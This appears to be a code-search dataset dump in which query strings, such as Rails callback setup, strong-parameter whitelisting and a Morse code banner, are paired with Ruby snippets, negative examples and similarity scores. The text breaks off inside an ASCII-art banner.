[ "0.6597039", "0.6257258", "0.6135948", "0.61321276", "0.61158335", "0.6110114", "0.6005453", "0.6001682", "0.59832644", "0.5951277", "0.5932545", "0.588972", "0.588095", "0.5867513", "0.5865036", "0.58613086", "0.5860889", "0.5858118", "0.5854139", "0.5840277", "0.5836694", "0.57814443", "0.5781391", "0.578035", "0.57795334", "0.57791346", "0.5768251", "0.5767253", "0.5763913", "0.57611865", "0.57585216", "0.57531273", "0.57348084", "0.5727277", "0.57249653", "0.57199347", "0.57110834", "0.5691061", "0.5681887", "0.5679337", "0.5678547", "0.56692815", "0.5667401", "0.5659502", "0.5653604", "0.56505114", "0.5642902", "0.5635939", "0.56348205", "0.563461", "0.56329226", "0.5630218", "0.5630112", "0.56244063", "0.562341", "0.5618095", "0.5617848", "0.5610596", "0.5604335", "0.5599626", "0.5594222", "0.55745643", "0.5573483", "0.5571979", "0.5569401", "0.5562261", "0.55572575", "0.5556985", "0.5555741", "0.55550295", "0.55526364", "0.5549042", "0.554643", "0.55459505", "0.5544279", "0.55409664", "0.55379885", "0.55377984", "0.55349797", "0.55343634", "0.5533429", "0.5532421", "0.5531562", "0.55296963", "0.5527812", "0.55259204", "0.5524256", "0.5519691", "0.55196077", "0.5508466", "0.5508241", "0.55037403", "0.55013186", "0.5489901", "0.54872984", "0.5478214", "0.5477179", "0.54768705", "0.5476395", "0.54747444" ]
0.78664935
0
Use callbacks to share common setup or constraints between actions.
def set_weekday_constraint @weekday_constraint = WeekdayConstraint.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def weekday_constraint_params params.require(:weekday_constraint).permit(:day, :name, :constraint_id, :constraint_type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Ref: // original code I simply added the acceptance of user input vs having the "HELP ME OUT OF THIS WELL" string hardcoded into the prgoram. I also added the ability to include numbers 0..9 in the script as well. 1337 banner
def banner() print """ ================================================================= ================================================================= ==========International Morse Code translator v 0.0.1 ========= ==========Transates user supplied Morse Code to text ============ ================================================================= ==========Coded by Rick Flores | nanotechz9l ==================== ==========E-mail 0xnanoquetz9l<<\|/>>gmail.com =================== ================================================================= ================================================================= """.foreground(:blue).bright end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def help; summarize(\"#{banner}\".sub(/\\n?\\z/, \"\\n\")) end", "def explain_game\n\t\tputs \"In the Secret Number Game, you guess a number between 1 and 10 and, if you pick the right number, you win!\"\n\t\tputs \"Good luck #{@player}!\"\n\tend", "def more_info\n \tputs \"Which podcast would you like to know more about?\"\n \tinput = gets.strip\n\n \tif input == \"14\"\n \t\tputs \" _.-._ \"\n puts \" ##### # ### | | | |_ \"\n puts \" # # ##### ###### ## ##### # #### ##### ### | | | | |\"\n puts \" # # # # # # # # # # # # ### | | | | |\"\n puts \" # #### # # ##### # # # # # # ##### # _ | '-._ |\"\n puts \" # # ##### # ###### # # # # # # # \\\\`\\\\`-.'-._;\"\n puts \" # # # # # # # # # # # # # # ### \\\\ ' |\"\n puts \" ##### # # ###### # # # ##### #### ##### ### \\\\ .` / \"\n puts \" | | \" \n sleep(1)\n podcast = Podcast.find(14)\n print_podcast(podcast)\n elsif input.to_i.between?(1,32)\n \t\tpodcast = Podcast.find(input.to_i)\n \t print_podcast(podcast) \n \telsif input.downcase == \"exit\"\n \t\tputs \"Thanks for stopping by!\"\n \telse\n \t puts \"I didn't quite catch that. Try again?\"\n \t more_info\n \tend \n end", "def display_banner()\n\n\tr = Random.rand(1..4)\n\n\tcase r\n\twhen 1\n\t\tputs \"\n\t.------..------..------..------..------.\n\t|D.--. ||V.--. ||A.--. ||S.--. ||H.--. |\n\t| :/\\\\: || :(): || (\\\\/) || :/\\\\: || :/\\\\: |\n\t| (__) || ()() || :\\\\/: || :\\\\/: || (__) |\n\t| '--'D|| '--'V|| '--'A|| '--'S|| '--'H|\n\t`------'`------'`------'`------'`------'\n\n\n\t\t\"\n\twhen 2\n\t\tputs \"\n\t@@@@@@@ @@@ @@@ @@@@@@ @@@@@@ @@@ @@@ \n\t@@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@ @@@ @@@ \n\t@@! @@@ @@! @@@ @@! @@@ !@@ @@! @@@ \n\t!@! @!@ !@! @!@ !@! @!@ !@! !@! @!@ \n\t@!@ !@! @!@ !@! @!@!@!@! !!@@!! @!@!@!@! \n\t!@! !!! !@! !!! !!!@!!!! !!@!!! !!!@!!!! \n\t!!: !!! :!: !!: !!: !!! !:! !!: !!! \n\t:!: !:! ::!!:! :!: !:! !:! :!: !:! \n\t :::: :: :::: :: ::: :::: :: :: ::: \n\t:: : : : : : : :: : : : : :\n\t\n\n\t\t\"\n\twhen 3\n\t\tputs \"\n\n\t\t ^^ .-=-=-=-. ^^\n\t ^^ (`-=-=-=-=-`) ^^\n\t (`-=-=-=-=-=-=-`) ^^ ^^\n\t ^^ (`-=-=-=-=-=-=-=-`) ^^ ^^\n\t ( `-=-=-=-(@)-=-=-` ) ^^\n\t (`-=-=-=-=-=-=-=-=-`) ^^\n\t (`-=-=-=-=-=-=-=-=-`) ^^\n\t (`-=-=-=-=-=-=-=-=-`) ^^\n\t (`-=-=-=-=-=-=-=-=-`) ^^\n\t (`-=-=-=-=-=-=-=-`) ^^\n\t (`-=-=-=-=-=-=-`) ^^ ^^\n\t dvash (`-=-=-=-=-`)\n\t `-=-=-=-=-`\n\n\n\t\t\"\n\twhen 4\n\t\tputs \"\n\n\t _______________\n\t //~~~~~~~~~~~~~~~\\\\\\\\ |\n\t 0 / /_________________\\\\ \\\\| 0\n\t ---------------------------\n\t / /======|=D=V=A=S=H=|======\\\\ \\\\\n\t \\\\_____________________________/\n\t \\\\ _______ _______ /\n\t |\\\\ _/|__|__|\\\\_____/|__|__|\\\\_ /|\n\t | |`V' `---' `V'| |\n\t |______| |______|\n\t\t\n\n\t\t\"\n\tend\nend", "def deaf_grandma\n def title_screen\n puts '- ' * 8\n puts \"Welcome to Deaf Grandma\"\n puts '- ' * 8\n end\n\n def prompt\n print '> '\n end\n\n def granny_response(input)\n if input == \"\"\n puts \"*Grandma continues watching 'Walker, Texas Ranger*\"\n elsif input == input.upcase\n puts \"NOT SINCE 1983\"\n else\n puts \"HUH, SPEAK UP SONNY!\"\n end\n end\n\n def init\n counter = 0\n title_screen\n\n until counter == 2\n prompt\n input = gets.chomp\n counter+=1 if input == \"\"\n granny_response(input)\n end\n end\n\n init\n\nend", "def welcome\n Banner.go\n puts\" \n # ####### ####### ###### ##### # # ### \n # #### # # # # # # ###### # # # # # # # # # # # ##### # # #### # # ###### # # ###### ##### #### #### ### \n # # # # ## # # # # # # # # ## # # # # # # # # # # # # ## ## # # # # # # # # # 